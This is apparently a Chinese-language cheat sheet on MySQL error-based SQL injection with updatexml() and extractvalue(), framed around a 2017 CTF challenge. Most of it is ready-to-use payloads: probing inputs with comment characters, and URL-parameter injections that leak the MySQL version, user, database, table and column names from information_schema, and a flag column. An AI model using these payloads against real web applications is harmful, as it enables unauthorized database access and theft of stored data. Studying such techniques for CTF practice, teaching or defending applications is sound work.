MySQL updatexml()、extractvalue() 报错型SQL注入

关于 updatexml 函数

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

1
2
3
http://www.target.com/index.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.target.com/index.php?id=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.target.com/index.php?id=updatexml(1,concat(0x7e,SUBSTR((SELECT @@version),1,24),0x7e),1)

另外,updatexml最多只能显示32位,需要配合SUBSTR使用。

1
2
3
updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)
updatexml(1,concat(0x7e,(select substring(f14g,20) from f14g limit 0,1),0x7e),1)
extractvalue(0x0a,concat(0x0a,(select database())))

试探性 payloads

记得可以试试带上注释"-- ",注意注释符是含空格的。

1
2
3
4
5
6
7
id=%5c --
id=' --
id=" --
id== --
id=-1 --
id=-0 --
id=3-2 --

后期payload

1
2
3
4
5
1 && extractvalue(0x0a,concat(0x0a,(select database())))#
1 && extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables limit 0,1)))#
1 && extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns limit 0,1)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,1,32) from f14g)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,15,32) from f14g)))#

MySQL 信息收集

注入payload参考指南

http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

注意 WHERE 的限制 即可以用=也可以用LIKE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# MySQL版本
SELECT @@version
# 用户
SELECT user()
# 数据库
SELECT database()
# 表名
SELECT table_name FROM information_schema.tables LIMIT 0,1
SELECT table_name FROM information_schema.tables WHERE table_schema="words" LIMIT 0,1
SELECT table_name FROM information_schema.tables WHERE table_schema LIKE "%words%" LIMIT 0,1
SELECT table_name FROM information_schema.tables LIMIT 81,1
# 列名
SELECT column_name FROM information_schema.columns WHERE table_name="f14g" LIMIT 0,1
SELECT column_name FROM information_schema.columns WHERE table_name LIKE "f14g" LIMIT 0,1
SELECT column_name FROM information_schema.columns LIMIT 808,1
# 查数据
SELECT f14g from f14g LIMIT 0,1
# 关键payload
updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)

案例 东华 永信至诚 2017 CTF题

SOME WORDS 100pt

1
2
3
select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
http://www.target.com/index.php?id=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);

调整关键字

1
2
3
id=WHERE
id=SELECT
id=AND